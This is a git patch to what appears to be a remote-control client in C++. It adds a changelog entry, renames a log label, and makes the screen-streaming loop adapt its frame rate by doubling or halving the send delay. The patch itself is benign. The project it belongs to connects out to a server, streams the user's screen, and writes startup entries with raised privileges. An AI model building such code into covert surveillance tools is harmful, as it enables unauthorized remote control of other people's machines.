From a48a5fcfb92a4a3ec9eeb77d417d5b78a66896ed Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 11 May 2019 11:28:58 +0800 Subject: [PATCH] =?UTF-8?q?=E8=87=AA=E5=8A=A8=E8=B0=83=E6=95=B4=E8=BF=9C?= =?UTF-8?q?=E7=A8=8B=E6=A1=8C=E9=9D=A2=E4=BC=A0=E5=B1=8F=E9=80=9F=E7=8E=87?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ReadMe.txt | 3 +++ client/ClientDll.cpp | 2 +- client/IOCPClient.cpp | 2 +- client/ScreenManager.cpp | 24 ++++++++++++++++++++++-- 4 files changed, 27 insertions(+), 4 deletions(-) diff --git a/ReadMe.txt b/ReadMe.txt index 726826c..df4e060 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -210,3 +210,6 @@ TestRun在写入开机自启动项时先提升权限,以防止因权限不足 2019.5.8 优化左键点击Yama托盘图标的效果。 + +2019.5.11 +优化远程桌面发送屏幕的功能,可动态调整发送屏幕的速率。 diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 979581c..560d401 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -60,7 +60,7 @@ int main(int argc, const char *argv[]) SetConsoleCtrlHandler(&callback, TRUE); const char *szServerIP = argv[1]; int uPort = atoi(argv[2]); - printf("[remote] %s:%d\n", szServerIP, uPort); + printf("[server] %s:%d\n", szServerIP, uPort); memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); g_uPort = uPort; diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 1c74ed9..d9fb2bc 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -285,7 +285,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello { - AUTO_TICK(10); + AUTO_TICK(50); assert (ulOriginalLength > 0); { //1.001Ҳѹռõڴռԭһ +12 diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index e936eb5..b073672 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -53,6 +53,8 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) const int fps = 8;// ֡ #endif const int sleep = 1000 / fps;// ʱ䣨ms + int c1 = 0, c2 = 0, s0 = sleep; + const int frames = fps; // ÿĻٶ timeBeginPeriod(1); while (This->m_bIsWorking) { @@ -60,10 +62,28 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) const char* szBuffer = This->GetNextScreen(ulNextSendLength); if (szBuffer) { - int span = sleep-(clock() - last); + int span = s0-(clock() - last); Sleep(span > 0 ? span : 1); if (span < 0) - printf("SendScreen Span = %d ms\n", span); + { + c2 = 0; + if (frames == ++c1) { + s0 = (s0 <= sleep*4) ? s0*2 : s0; + c1 = 0; +#ifdef _DEBUG + printf("[+]SendScreen Span= %dms, s0= %d\n", span, s0); +#endif + } + } else { + c1 = 0; + if (frames == ++c2) { + s0 = (s0 >= sleep/4) ? s0/2 : s0; + c2 = 0; +#ifdef _DEBUG + printf("[-]SendScreen Span= %dms, s0= %d\n", span, s0); +#endif + } + } last = clock(); This->SendNextScreen(szBuffer, ulNextSendLength); }